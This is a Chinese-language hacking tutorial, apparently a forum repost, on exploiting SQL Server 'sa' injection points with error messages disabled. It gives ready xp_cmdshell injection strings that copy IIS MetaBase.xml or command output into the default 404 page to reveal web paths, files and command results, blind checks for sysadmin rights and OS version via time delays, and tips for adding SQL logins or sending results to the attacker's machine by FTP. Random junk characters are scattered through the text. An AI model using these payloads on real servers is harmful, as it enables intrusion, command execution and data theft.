遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。0 g3 u$ D& V* H4 v
# e- u) [! \& E: M9 P" q
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
3 q& _/ |' X1 Z/ x1 q |7 I' k
+ @$ @* d/ e9 `1 K! ?* N 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。 @& ^$ P& }2 m7 O# N: k
8 A t9 X" J8 b% `7 [3 j
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
0 F8 |& U4 C+ I, g3 M# X+ B y$ `2 d$ ?
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
" B3 T1 i: Q+ V1 s1 c# @: v/ g4 e& I( y6 k
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
" t! {& n. s) d! J. L# v' Z
6 }5 p% P9 ~; c 执行命令得到回显
2 h' l' u1 z: k8 n1 W
4 ~6 [, N; q* O: R: \ 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
0 } G, D& B9 N* o
9 `4 y- H- |9 R: V0 M 得到文件也shi相同,把文件copy到404b.htm就行了
4 {( w, X6 I, W( W8 r
* i1 G, B# j/ ]/ b by 28ice, 2008/6/26% J' ^+ O# k& W h/ ` \5 g2 d# Q
+ W# V% j& m' d5 R% P: C& N 摘自 28度的冰# ?, x- I/ q5 A( T) ?
4 O' W" W& K3 A/ q3 e$ D 盲注判断权限和操作系统版本
6 H- a% g* c3 D( G- c1 z7 G0 r8 t- ~) S* w# k7 g, ^# U
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?/ Z$ f+ M5 D# \" M: [! z& a0 A
9 q" n( V& X9 _9 m 最简单的,可能以用这样的方法:
9 Y, z/ r0 o3 r1 I4 f* w# A$ M- K2 D4 I5 z- B8 n4 j3 D
1=(select IS_SRVROLEMEMBER(’sysadmin’))
1 e/ F; c( I4 T5 j: C+ V% a, L: h* R
当然,有些情况下,这个方法并不奏效。! ~: x- W H- p }+ ~
' P; s9 z6 M0 m/ F1 }- q 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
) |3 R1 i, j& ?. N$ p+ k8 {# Z) F# p2 w1 q7 f, X+ k% v
有个3办法可能以解决这个问题
# ^0 Z" m1 D& d, f+ ?2 K k i$ p/ z
) b/ W" M+ k! L0 H7 F1 ` a.把执行结果写到404b.htm,具体请看我的上一篇文章8 U& P1 b4 r9 Y6 p7 R; L- ^
- l. ?$ P3 i5 ]- o6 G5 q n: u b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟! u# x* Z( b- O# }9 k5 ], u& ~
- x, o# `: V1 f& u
c.如果1433端口可能以连接,那干脆新建个sql登录& i: I8 f5 z3 d3 @8 ]2 B3 e$ ^ h+ W' T
1 _ K' h$ g, {. g; T/ u! p
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数3 z! Z8 n7 F4 [
- f0 {; w* `5 `" \2 e* g; @ 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
. H6 w0 u4 `4 P3 c4 Q
0 Y- r! G. J% M# e# M& Z! f 很简单3 F% S+ m/ y: j$ \( T+ v
$ i+ i7 U. S, S/ t. X. A9 }
执行systeminfo
+ |7 r: c) P6 R7 V- \( j4 X4 s7 z+ ?6 M; k
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |